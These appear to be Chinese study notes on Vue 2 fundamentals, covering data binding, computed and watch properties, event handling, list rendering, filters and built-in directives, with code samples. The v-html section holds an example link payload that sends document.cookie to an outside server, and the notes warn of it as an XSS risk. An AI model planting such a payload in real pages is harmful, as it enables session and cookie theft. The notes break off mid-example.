vue2基础
定义:vue 是 构建用户界面 的 渐进式 框架
初识vue
引入 vue.js 创建 Vue 实例对象
<!-- 设置容器 -->
<div id="txt">
<h1>初识vue {{name}}</h1>
</div>
<!-- 引入 vue -->
<script src="../vue.js"></script>
<script>
// 创建 vue 实例对象
new Vue({
el: '#txt', //这个是选定的容器
data: { //这个是数据
name: '上岸'
}
})
</script>
模板语法
插值语法 {{}} 命令语法 v-
<div id="root">
<!-- 标签里面用的 {{}} 是插值语法
{{name}} name 是一个表达式,可以是方法,可以是变量
-->
<!-- -->
<h1>你好{{name}}</h1>
<!-- 指令语法 v- 开头
v-bind: 解析标签属性里面的字符串为表达式
v-bind: 可以简写为 :
-->
<a :href="net.url">链接到{{net.netName}}</a>
<a v-bind:href="net.url">链接到{{net.netName}}</a>
</div>
<script src="../vue.js"></script>
<script>
new Vue({
el: '#root',
data: {
name: '卡卡',
net: {
url: 'https://www.baidu.com',
netName: '百度'
}
}
})
</script>
数据绑定:
单向绑定和双向绑定
单向绑定 v-bind 双向绑定:v-model
v-bind:属性名 = “表达式”
v-model
<div id="root" class="">
<!-- 数据绑定 -->
<!-- 单向绑定 v-bind: 只能data流向页面 可以简写为 : -->
<!-- 双向绑定 v-model 可以data流向页面,也可以页面流向data v-model:value可以简写为v-model-->
<!-- v-model 只能应用到表单类元素上(输入类的元素,含value的元素) -->
单向绑定:<input type="text" :value="name"><br>
双向绑定:<input type="text" v-model="name">
</div>
<script src="../vue.js"></script>
<script>
new Vue({
el: '#root',
data: {
name: ''
}
})
</script>
v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
v-model的原理
原理:v-model本质上是一个语法糖。例如应用在输入框上,就是 value属性 和 input事件 的合写。
作用:提供数据的双向绑定
① 数据变,视图跟着变 :value
② 视图变,数据跟着变 @input
注意:$event用于在模板中,获取事件的形参
<template>
<div id="app">
<!-- 效果等同,实现双向绑定 -->
v-model:<input type="text" v-model="msg1" />
v-bind+$event:<input type="text":value="msg3" @input="msg3 = $event.target.value" />
</div>
</template>
父组件与子组件实现双向绑定
v-model实现(表单类)
父组件的数据应用到子组件的表单,传给子组件的名是value,子组件传给父组件触发的事件名为input,就能用v-model="msg" 简写 :value="msg" @input="hander"

.sync实现
xxx.sync="参数" 相当于 :xxx="参数" @updata:xxx

el和data的两种写法
<!--
data与el的2种写法
1.el有2种写法
(1).new Vue时候配置el属性。
(2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
2.data有2种写法
(1).对象式
(2).函数式
如何选择:目前哪种写法都可以,以后学习到组件时,data必须使用函数式,否则会报错。
3.一个重要的原则:
由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
-->
<!-- 准备好一个容器-->
<div id="root">
<h1>你好,{{name}}</h1>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
//el的两种写法
/* const v = new Vue({
//el:'#root', //第一种写法
data:{
name:'尚硅谷'
}
})
console.log(v)
v.$mount('#root') //第二种写法 */
//data的两种写法
new Vue({
el:'#root',
//data的第一种写法:对象式
/* data:{
name:'尚硅谷'
} */
//data的第二种写法:函数式
data(){
console.log('@@@',this) //此处的this是Vue实例对象
return{
name:'尚硅谷'
}
}
})
</script>
MVVM模型
-
M:模型(Model) :对应 data 中的数据
-
V:视图(View) :模板
-
VM:视图模型(ViewModel) : Vue 实例对象

数据代理
前置知识-Object.defineProperty()
<script>
// Object.defineProperty(obj,属性名,属性修饰符对象) 给选定对象定义或修改属性
let age = 20
let person = { name: 'kaka' }
Object.defineProperty(person, 'age', {
// 低级配置
// value: 20, //设定属性值
// writable: true,//控制该属性是否可以被修改,默认为false
// enumerable: true,//控制该属性是否可以被枚举,默认为false
// configurable: true//控制该属性是否可以被删除,,默认为false
// 高级配置 => 写了高级就不能写低级 否则会报错
// 当访问该属性时,get函数(getter)会被调用,返回值为value
get: function () {
console.log('age被访问')
return age
},
// 当修改该属性时,set函数(setter)会被调用,会收到修改的具体值
set: function (value) {
console.log('age被修改', value);
age = value //这样也能修改该对象age的值 => 前提是age是可变,并且getter返回值也是age变量
}
})
console.log(person)
</script>
何为数据代理
定义:通过一个对象来代理对另一个对象中属性的操作(读/写)。
let obj1 = { x: 100 }; // 目标对象
let obj2 = {}; // 代理对象
// 使用Object.defineProperty()方法,在obj2上定义一个新的属性'x',其getter和setter方法操作obj1的'x'属性
Object.defineProperty(obj2, 'x', {
get() {
console.log('读取obj1的x属性');
return obj1.x;
},
set(value) {
console.log('设置obj1的x属性为', value);
obj1.x = value;
}
});
// 通过操作obj2的'x'属性,间接地读取和修改obj1的'x'属性
console.log(obj2.x); // 输出:读取obj1的x属性 100
obj2.x = 200; // 输出:设置obj1的x属性为 200
console.log(obj1.x); // 输出:200
vue中数据代理
1.Vue中的数据代理:
通过vm对象来代理data对象中属性的操作(读/写)
2.Vue中数据代理的好处:
更加方便的操作data中的数据
3.基本原理:
通过Object.defineProperty()把data对象中所有属性添加到vm上。
为每一个添加到vm上的属性,都指定一个getter/setter。
在getter/setter内部去操作(读/写)data中对应的属性。

事件处理
事件的基本使用v-on:
1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;
2.事件的回调需要配置在methods对象中,最终会在vm上;
3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;
4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;
<div id="root" class="">
<!-- v-on:click="alertFn" 是当点击这个按钮时,会触发alertFn这个函数 -->
<!-- alertFn($event,66) 可以在函数里面传入参数,$event相当于占位,到时候就能用e.target的同时还能获取参数-->
<button v-on:click="alertFn($event,66)">按钮</button>
<!-- v-on:click 可简写为 @click 后期常用 -->
<button @click="alertFn($event,66)">按钮</button>
</div>
<script src="../vue.js"></script>
<script>
new Vue({
el: '#root',
methods: {
alertFn(e, num) {
alert('点击了按钮')
console.log(e, num)
console.log(e.target)//获取到触发该函数的Dom
}
}
})
</script>
事件修饰符
@事件名.prevent: 阻止默认行为(常用);
@事件名.stop: 阻止事件冒泡(常用);
@事件名.once: 事件只触发一次(常用);
@事件名.capture: 使用事件的捕获模式;
@事件名.self: 只有event.target是当前操作的元素时才触发事件;
@事件名.passive: 事件的默认行为立即执行,无需等待事件回调执行完毕;
<div id="root" class="">
<!-- .prevent 阻止默认行为(常用) -->
<a href="http://baidu.com" @click.prevent="conlog">按钮</a>
</div>
<script src="../vue.js"></script>
<script>
new Vue({
el: '#root',
methods: {
conlog() {
console.log('点击了')
}
}
})
修饰符可以连着写 例:
<!-- .stop.prevent 先阻止事件冒泡再阻止默认行为 -->
<div class="fa" @click="clickFa">父亲
<a href="http://www.baidu.com" class="son" @click.stop.prevent="clickSon">儿子--百度链接</a>
</div>
键盘事件
1.Vue中常用的按键别名:
回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,必须配合keydown去使用)
上 => up
下 => down
左 => left
右 => right
2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
3.系统修饰键(用法特殊):ctrl、alt、shift、meta(win键)
(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
(2).配合keydown使用:正常触发事件。
(3).组合键:例 ctrl+l 才触发 @keydown.Ctrl.l="触发函数"
4.也可以使用keyCode去指定具体的按键(不推荐)
5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
<!-- 1.Vue中常用的按键别名:
回车 => enter
删除 => delete (捕获“删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab (特殊,必须配合keydown去使用)
上 => up
下 => down
左 => left
右 => right
2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
3.系统修饰键(用法特殊):ctrl、alt、shift、meta(win键)
(1).配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
例:按下 ctrl + s 后松开
(2).配合keydown使用:正常触发事件。
4.也可以使用keyCode去指定具体的按键(不推荐)
5.Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名
-->
<div id="id" class="">
<!-- enter 按下 Enter 键才触发 -->
<!-- <input type="text" @keyup.enter="keyUp"> -->
<!-- Vue.config.keyCodes.自定义键名 = 键码,可以去定制按键别名 -->
<input type="text" @keyup.huiche="keyUp">
</div>
<script src="../vue.js"></script>
<script>
// 自定义键名 = 键码
Vue.config.keyCodes.huiche = 13
new Vue({
el: '#id',
methods: {
keyUp(e) {
console.log('按了Enter了')
console.log(e.target)//<= 是触发当前事件的元素
}
}
})
</script>
计算属性computed
计算属性
自己总结
定义:通过计算得来的属性(根据所依赖的数据=>(data中的数据)进行响应式计算。)
原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
优势:他本质上是一个函数,但是在html标签的中,若有多个相同的计算属性,他会只计算一次(第一次发现该计算属性时),然后把值缓存起来,再次遇到该计算属性时,相当于直接赋值,就不用再次调用函数了。
响应式:当页面第一次加载或是所依赖的数据改变时就会调用 get(简写的就是get)。
set的使用:当想改变计算属性,响应式地改变data中的数据时使用。
老师总结
计算属性:
1.定义:要用的属性不存在,要通过已有属性计算得来。
2.原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
3.get函数什么时候执行?
(1).初次读取时会执行一次。
(2).当依赖的数据发生改变时会被再次调用。
4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便。
5.备注:
1.计算属性最终会出现在vm上,直接读取使用即可。
2.如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
<!-- 案例要求:修改 firstName/lastName 立即响应全名 -->
<div id="id" class="">
姓:<input type="text" v-model="firstName"><br><br>
名:<input type="text" v-model="lastName"><br><br>
全名为 :<span>{{fullName}}</span>
</div>
<script src="../../vue.js"></script>
<script>
const vm = new Vue({
el: '#id',
data: {
firstName: '王',
lastName: '老板'
},
// 计算属性
computed: {
fullName: {
//get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
//get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。
get() {
return this.firstName + '-' + this.lastName
},
set(value) {
console.log(this)//=>this 指向 vm
// 将更改的是名根据 - 分割成数组
const arr = value.split('-')
this.firstName = arr[0]
this.lastName = arr[1]
}
}
}
})
</script>
计算属性简写
computed: {
// 计算属性的简写 (当只是页面读取时才用,不能直接修改计算属性)
fullName() {
return this.firstName + '-' + this.lastName
}
}
监视属性watch
监视属性watch
1、当被监视的属性的值发生变化时,回调函数会自动调用
2、监视的属性必须存在,才能监视
3、监视的两种写法
(1)、new Vue()里面配置watch
(2)、通过vue实例对象vm调用$watch
<div id="id" class="">
<h1>今天天气很{{weather}}</h1>
<button @click="changeWeather">切换天气</button>
</div>
<script src="../../vue.js"></script>
<script>
const vm = new Vue({
el: '#id',
data: {
isHot: true
},
methods: {
changeWeather() {
this.isHot = !this.isHot
}
},
computed: {
weather() {
return this.isHot ? '炎热' : '凉爽'
}
},
//监视属性 写法一:new Vue时
/* watch: {
isHot: {
immediate: true,// 默认值为false,为true时,打开时会立即执行下面的函数
// isHot 的值改变时 就会调用下面的函数,传入的参数第一个是改变的值,第二个是原来的值
handler(newValue, oldValue) {
console.log('isHot改变了', newValue, oldValue)
}
}
} */
})
// 写法二:后面想监视属性时调用$watch
vm.$watch('isHot', {
immediate: true,// 默认值为false,为true时,打开时会立即执行handler函数
// isHot 的值改变时 就会调用handler函数,传入的参数第一个是改变的值,第二个是原来的值
handler(newValue, oldValue) {
console.log('isHot改变了', newValue, oldValue)
}
})
</script>
深度监视
深度监视:
1、Vue 中 watch 默认只能监视第一层,相当于监视的是当前数据的地址。
2、在 watch 中 配置 deep:true,即可开启深度监视。即便是监视的对象里面的属性改变也能监视到
备注:
1、Vue自身可以监测对象内部值的改变,但 Vue 提供的 watch 默认不可以!
2、使用 watch 时根据数据的具体结构,决定是否采用深度监视。
<div id="id">
<h1>点击按钮数字增加=>{{obj.num}}</h1>
<button @click="obj.num++">按钮</button>
</div>
<script src="../../vue.js"></script>
<script>
new Vue({
el: '#id',
data: {
obj: {
num: 1,
}
},
watch: {
obj: {
deep: true,//默认为false,开启深度监视
handler() {
console.log('obj改变了')
}
}
}
})
</script>
监视属性简写
当监视的属性结构只有一层时才可用
// 写法一:new Vue() 里面配置
watch: {
num(newValue, oldValue) {
console.log('num改变了', newValue, oldValue)
}
}
// 写法二:vm.$watch配置
vm.$watch('num', function (newValue, oldValue) {
console.log('num改变了', newValue, oldValue)
})
计算属性和监视属性的区别
自己总结
1、computed能完成的,watch都能完成。
2、computed不能处理异步任务,watch可以
备注 => this指向:
1、vue 自身管理的函数用普通函数书写。
2、不是vue自身管理的函数(定时器、ajax、Promise)用箭头函数书写。
老师总结
computed和watch之间的区别:
1.computed能完成的功能,watch都可以完成。
2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
两个重要的小原则:
1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,
这样this的指向才是vm 或 组件实例对象。
绑定样式
用数据绑定: 类名 : v-bind:class="表达式" 简写 :class="表达式"
样式 :style="表达式" => 不常用
表达式里面的数据要含有 类名或样式
<style>
.basic {
width: 400px;
height: 100px;
border: 1px solid black;
}
.happy {
border: 4px solid red;
;
background-color: rgba(255, 255, 0, 0.644);
background: linear-gradient(30deg, yellow, pink, orange, yellow);
}
.sad {
border: 4px dashed rgb(2, 197, 2);
background-color: gray;
}
.normal {
background-color: skyblue;
}
.atguigu1 {
background-color: yellowgreen;
}
.atguigu2 {
font-size: 30px;
text-shadow: 2px 2px 10px red;
}
.atguigu3 {
border-radius: 20px;
}
</style>
<body>
<div id="root">
<!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br><br>
<!-- 绑定class样式--数组写法,适用于绑定的样式个数不确定、类名不确定 -->
<div class="basic" :class="classArr">{{name}}</div> <br><br>
<!-- 绑定class样式--对象写法,适用于绑定的样式类名确定、是否要使用不确定 -->
<div class="basic" :class="classObj">{{name}}</div> <br><br>
<!-- 前一个是类名:后一个是布尔值,其结果是布尔值,可以是一个判断条件-->
<!-- <div class="basic" :class="{ 'atguigu1': true, 'atguigu2': false}">{{name}}</div>-->
<hr>
<!-- style--对象写法 不常用 -->
<div class="basic" :style="styleObj">{{name}}</div> <br><br>
<!-- style--数组写法(里面的每一项都是一个对象) 不常用 -->
<div class="basic" :style="styleArr">{{name}}</div> <br><br>
</div>
<script src="../../vue.js"></script>
<script>
new Vue({
el: '#root',
data: {
name: 'vue学习',
mood: 'normal',
classArr: ['atguigu1', 'atguigu2', 'atguigu3'],
classObj: {
atguigu1: true,
atguigu2: false
},
styleObj: {
// 样式属性的名字 写法和js一样
backgroundColor: '#f4a7a7',
fontSize: '40px'
},
styleArr: [
{
// 样式属性的名字 写法和js一样
backgroundColor: '#f45675',
},
{
fontSize: '30px',
fontWeight: 700
}
]
},
methods: {
changeMood() {
const arr = ['happy', 'sad', 'normal']
const index = Math.floor(Math.random() * 3)
this.mood = arr[index]
}
}
})
</script>
</body>
条件渲染 v-show | v-if
v-show
v-show => 相当于直接设置样式display,元素节点还在
写法:v-show="表达式"
v-if
v-if => 直接将节点删除或添加
1、v-if="表达式"
2、v-else-if="表达式"
3、v-else
注意:v-else-if 和 v-else 必须和 v-if 处于连续结构,不能被打断
打断后的 v-else-if 和 v-else 就不会执行了
<div id="id" class="">
<h1>点击按钮 n+1 => {{n}}</h1>
<button @click="n++">按钮n+1</button>
<div v-show="n===1">n=1显示</div>
<div v-if="n===1">div => n=1显示</div>
<p v-else-if="n===2">p => n=2显示</p>
<span v-else-if="n===3">span => n=3显示</span>
<div v-else>n=其他 显示</div>
<!-- template 结构内的代码是一个整体,方便整体调渲染,但是在页面不存在template节点 -->
<template v-if="n===0">
<div>我是个伪整体</div>
<div>但是我在页面上不存在template结构</div>
</template>
<hr>
<div v-if="n===1">n=1显示</div>
<div v-else-if="n===2">n=2显示</div>
<!-- 此处截断 下面的判断条件不执行 控制台报错 -->
<div>@</div>
<div v-else-if="n===3">n=3显示</div>
<div v-else>n=其他 显示</div>
</div>
<script src="../../vue.js"></script>
<script>
new Vue({
el: '#id',
data: {
n: 0
}
})
</script>
列表渲染 v-for
基本列表
渲染列表:v-for
1.v-for="(item,index) in 需要遍历的对象" key="index"=>当作唯一标识
2.可以遍历:数组(使用频率高)、对象(使用频率高)、字符串(使用较少)、指定次数(使用较少)
<div id="id" class="">
<ul>
<h1>遍历数组</h1>
<li v-for="(item,index) in persons" :key="item.id">{{item.name}}--{{item.age}}</li>
</ul>
<ul>
<h1>遍历对象</h1>
<li v-for="val,key in car" :key="key">key:{{key}}--val:{{val}} </li>
</ul>
<ul>
<h1>遍历字符串</h1>
<li v-for="val,i in str" :key="i">i:{{i}}--val:{{val}} </li>
</ul>
<ul>
<h1>指定次数</h1>
<li v-for="(number,index) in 5" :key="index">{{number}}-{{index}}</li>
</ul>
</div>
<script src="../../vue.js"></script>
<script>
new Vue({
el: '#id',
data: {
persons: [
{ id: '001', name: '张三', age: 18 },
{ id: '002', name: '李四', age: 19 },
{ id: '003', name: '王五', age: 20 }
],
car: {
name: '奥迪A8',
price: '70万',
color: '黑色'
},
str: 'hello'
}
})
</script>
key的原理
面试题:react、vue中的key有什么作用?(key的内部原理)=>自我总结:提高节点复用率从而提升性能
1. 虚拟DOM中key的作用:
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
2.对比规则:
(1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
(2).旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM,随后渲染到到页面。
3. 用index作为key可能会引发的问题:
1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
2. 如果结构中还包含输入类的DOM:
会产生错误DOM更新 ==> 界面有问题。
4. 开发中如何选择key?:
1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
使用index作为key是没有问题的。
列表过滤
可用 computed 或是 watch 来实现 ,用到filter的数组筛选方法
<div id="id" class="">
查询 :<input type="text" v-model="person">
<ul>
<li v-for="item in filterPersons" :key="item.id">{{item.name}}</li>
</ul>
</div>
<script src="../../vue.js"></script>
<script>
new Vue({
el: '#id',
data: {
person: '',
persons: [
{ id: '001', name: '马冬梅', sex: '女' },
{ id: '002', name: '周冬雨', sex: '女' },
{ id: '003', name: '周杰伦', sex: '男' },
{ id: '004', name: '扁嘴伦', sex: '男' }
]
},
computed: {
filterPersons() {
return this.persons.filter(item => {
//判断原对象数组中的名字是否包含查询的字
return item.name.includes(this.person)
})
}
}
})
</script>
列表排序
使用到了 .sort()方法
<div id="id" class="">
查询 :<input type="text" v-model="person">
<button @click="sortType=1">年龄升序</button>
<button @click="sortType=2">年龄降序</button>
<button @click="sortType=0">原序</button>
<ul>
<li v-for="item in filterPersons" :key="item.id">
{{item.name}}--{{item.age}}</li>
</ul>
</div>
<script src="../../vue.js"></script>
<script>
const vm = new Vue({
el: '#id',
data: {
person: '',
sortType: 0,// 排序方式 0原序 1年龄升序 2年龄降序
persons: [
{ id: '001', name: '马冬梅', sex: '女', age: 23 },
{ id: '002', name: '周冬雨', sex: '女', age: 56 },
{ id: '003', name: '周杰伦', sex: '男', age: 34 },
{ id: '004', name: '扁嘴伦', sex: '男', age: 31 }
]
},
computed: {
filterPersons() {
const arr = this.persons.filter(item => {
return item.name.includes(this.person)
})
// 判断排序类型是否为原序,不是择做其他操作
if (this.sortType) {
arr.sort((a, b) => {
// 年龄是升序吗 是=>就做升序操作 不是=>就做降序操作
return this.sortType === 1 ? a.age - b.age : b.age - a.age
})
}
return arr
}
}
})
</script>
vue.set()或vm.$set()的使用
vue.set()或vm.$set()的使用:给vue实例对象添加响应式属性,但只能在data对象里面已经定义过的属性对象上添加。(不能在vue本身或是根数据对象(data)添加)
<div id="id">
<h1>属性添加</h1>
<button @click="addSk">添加奥义</button>
<button @click="editAddress">修改第一项城市</button>
<!-- <button @click="addFri">添加战友</button> -->
<hr>
<h1>属性展示</h1>
<p>姓名:{{name}}</p>
<p>年龄:{{age}}</p>
<p v-if="skill.big">大招技能:{{skill.big}}</p>
<p v-if="skill.common">普通攻击:{{skill.common}}</p>
<hr>
<h3>添加的属性</h3>
<p v-if="skill.aoyi">奥义技能:{{skill.aoyi}}</p>
<div v-if="address">城市<br>
<ul>
<li v-for="(a,i) in address" :key="i">{{a}}</li>
</ul>
</div>
<!-- <p v-if="friend">奥义技能:{{friend}}</p> -->
</div>
<script src="../../vue.js"></script>
<script>
const vm = new Vue({
el: '#id',
data: {
name: '卡卡西',
age: 35,
skill: {
common: '平A',
big: '雷切'
},
address: ['北京', '上海', '成都'],
},
methods: {
// 给data里面的对象添加
addSk() {
// Vue.set(this.skill, 'aoyi', '天威')
vm.$set(this.skill, 'aoyi', '天照')
},
// 给data里面的数组修改
editAddress() {
//修改第一项
Vue.set(this.address, 0, '深圳')
}
/* editAddress() {
this.address[0]= '深圳'//单独这样修改在vue2中是不能被监测到的,无法触发视图更新
} */
/* addFri() {
// 不能在vue本身或是根数据对象(data)添加
// Vue.set(this, 'friend', '鸣人') //此处报错
// vm.$set(this, 'friend', '鸣人') //此处报错
} */
}
})
</script>
vue中的数据监测
自己总结
vue中的数据监测;
1、只有在new Vue时,里面配置的属性才能做响应式处理,后追加的不行
2、后追加的,需要用Vue.set(数组/对象,索引/键名,值)或是vm.$set()才能做响应处理
3、Vue.set(数组/对象,索引/键名,值)或是vm.$set() =>
不能直接给vm本身和vm的根数据对象data添加或修改
4、让数组做响应式得用 push()、pop()、shift()、unshift()、splice()、sort()、reverse()
或是 Vue.set() 或 vm.$set()
老师总结
Vue监视数据的原理:
1. vue会监视data中所有层次的数据。
2. 如何监测对象中的数据?
通过setter实现监视,且要在new Vue时就传入要监测的数据。
(1).对象中后追加的属性,Vue默认不做响应式处理
(2).如需给后添加的属性做响应式,请使用如下API:
Vue.set(target,propertyName/index,value) 或
vm.$set(target,propertyName/index,value)
3. 如何监测数组中的数据?
通过包裹数组更新元素的方法实现,本质就是做了两件事:
(1).调用原生对应的方法对数组进行更新。
(2).重新解析模板,进而更新页面。
4.在Vue修改数组中的某个元素一定要用如下方法:
1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
2.Vue.set() 或 vm.$set()
特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
获取表单数据
自己总结
vue 收集表单数据:=> 利用双向绑定 v-model
1. <input type="text">
<input type="password">
<textarea type="text">
v-model获取到的是用户输入的value值,不需要额外配置value
2. <input type="checkbox">
若没有配置value属性,勾选 => v-model获取到的是checked,是布尔值
若有配置value属性:
v-model的值是字符串,勾选获取到是checked => 布尔值
v-model的值是数组,勾选获取到的是value所组成的数组
3. <input type="radio">,v-model获取到的是value,需要配置value
4.<select v-model="address"> <option>北京</option> </select>
v-model获取到的是option value,不需要额外配置value
<div id="id">
<form>
账号:<input type="text" v-model="uname"><br><br>
密码:<input type="password" v-model="pwd"><br><br>
兴趣:
<input type="checkbox" v-model="hobby" value="跑步">跑步
<input type="checkbox" v-model="hobby" value="听歌">听歌
<input type="checkbox" v-model="hobby" value="打游戏">打游戏<br><br>
性别:
<input type="radio" name="sex" v-model="sex" value="man">男
<input type="radio" name="sex" v-model="sex" value="women">女<br><br>
地区:
<select v-model="address">
<option>--地区--</option>
<option>四川</option>
<option>上海</option>
<option>北京</option>
</select><br><br>
备注:<textarea v-model="text"></textarea><br><br>
<input type="checkbox" v-model="agree">同意协议<a href="http://www.baidu.com">《百度协议》</a>
</form>
</div>
<script src="../../vue.js"></script>
<script>
new Vue({
el: '#id',
data: {
uname: '',
pwd: '',
hobby: [],
sex: '',
address: '四川',
text: '',
agree: ''
}
})
</script>
老师总结
收集表单数据:
若:,则v-model收集的是value值,用户输入的就是value值。
若:,则v-model收集的是value值,且要给标签配置value值。
若:
1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组
v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
过滤器
自己总结
过滤器:对特定数据做简单处理后显示,过于复杂的处理用计算属性或是方法来做更好,可有可无
配置:
1、全局过滤器(new Vue的前面使用):Vue.filter('过滤器名',function(val){})
val => 是需要过滤做处理的数据,函数的返回值就是页面显示的数据
2、局部过滤器(new Vue的里面配置):filters:{过滤器名(val){}}
val => 是需要过滤做处理的数据,函数的返回值就是页面显示的数据
使用:
{{需要做操作的数据 | 过滤器名}} 或是 v-bind:属性=" 需要做操作的数据 | 过滤器名 "
备注:
过滤器可以多个串联 例:{{数据data | 过滤器1 | 过滤器2}}
先是 data到过滤器1中 处理返回后的数据 再到 过滤器2中做处理
<div id="id" class="">
<h2>#id模板</h2>
<h1>时间格式化</h1>
<p>当前时间戳:{{nowTime}}</p>
<p>计算属性格式化:{{c_formatTime}}</p>
<p>方法格式化:{{Fn_formatTime()}}</p>
<!-- 过滤器格式化(无参) -->
<p>过滤器格式化:{{nowTime | formatTime1}}</p>
<!-- 过滤器格式化(传参) -->
<p>过滤器格式化:{{nowTime | formatTime2('YYYY_MM_DD')}}</p>
<hr>
<h1>字符截取</h1>
<p>{{str}} 截取后 {{str | mySlice}}</p>
</div>
<hr>
<div id="id2" class="">
<h2>#id2模板</h2>
<p>{{str}} 截取后 {{str | mySlice}}</p>
</div>
<script src="../../vue.js"></script>
<script src="../../dayjs.min.js"></script>
<script>
// 全局过滤器
Vue.filter('mySlice', function (value) {
// 截取0-4的字符
return value.slice(0, 4)
})
new Vue({
el: '#id',
data: {
nowTime: +Date.now(),
str: 'qwer1234'
},
computed: {
c_formatTime() {
return dayjs(this.nowTime).format('YYYY年MM月DD日 HH:mm:ss')
}
},
methods: {
Fn_formatTime() {
return dayjs(this.nowTime).format('YYYY年MM月DD日 HH:mm:ss')
}
},
// 局部过滤器
filters: {
formatTime1(val) {
// 这里的 val 值是 管道符| 前面的 nowTime
return dayjs(val).format('YYYY年MM月DD日 HH:mm:ss')
},
// str = 'YYYY年MM月DD日' 这儿是 若str没传,就用这种方式格式化
formatTime2(val, str = 'YYYY年MM月DD日') {
// 这里的 val 值是 管道符| 前面的 nowTime
return dayjs(val).format(str)
}
}
})
new Vue({
el: '#id2',
data: {
str: '1234qwer'
}
})
</script>
老师总结
过滤器:
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
1.注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
2.使用过滤器:{{ xxx | 过滤器名}} 或 v-bind:属性 = "xxx | 过滤器名"
备注:
1.过滤器也可以接收额外参数、多个过滤器也可以串联
2.并没有改变原本的数据, 是产生新的对应的数据
内置指令 v-xxx
目前已经学过的指令:
1.v-bind 单向绑定 简写 :xxx
2.v-model 双向绑定
3.v-on 事件绑定 简写@
4.v-for 遍历数组/对象/字符串
5.v-if 条件渲染 (控制节点是否存在)
6.v-else-if 条件渲染 (控制节点是否存在)
7.v-else 条件渲染 (控制节点是否存在)
8.v-show 条件渲染 (控制节点是否展示)
v-text指令
1.给所在节点渲染文本内容,但不解析标签
2.和{{}}不同,v-text会直接替换所在节点的内容
<div id="id" class="">
<h1 v-text="name"></h1>//页面展示 biubiu
<p v-text="str">不存在</p>//页面展示 lalala
</div>
<script src="../../vue.js"></script>
<script>
new Vue({
el: '#id',
data: {
name: 'biubiu',
str: 'lalala'
}
})
v-html指令
老师总结
v-html指令:
1.作用:向指定节点中渲染包含html结构的内容。
2.与插值语法的区别:
(1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2).v-html可以识别html结构。
3.严重注意:v-html有安全性问题!!!!
(1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>',
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',// 危险行为,会携带cookie给别的服务器,别的服务器获取到可能会进行伪身份登录个人信息
}
})
</script>
v-cloak指令
用于网速较慢,vue.js还没加载完,页面出现{{xxx}}插值语法的问题
需要和css搭配使用,用属性选择器,[v-cloak]{display:none;}来让其没加载vue.js时保持隐藏,当vue.js加载完毕后,v-cloak会被移除,从而显现插值语法解析后的内容。
v-once指令
v-once指令:
1.v-once所在节点在初次动态渲染后,就视为静态内容了。
2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<div id="id" class="">
<h1 v-once>n 的初始值为:{{n}}</h1>
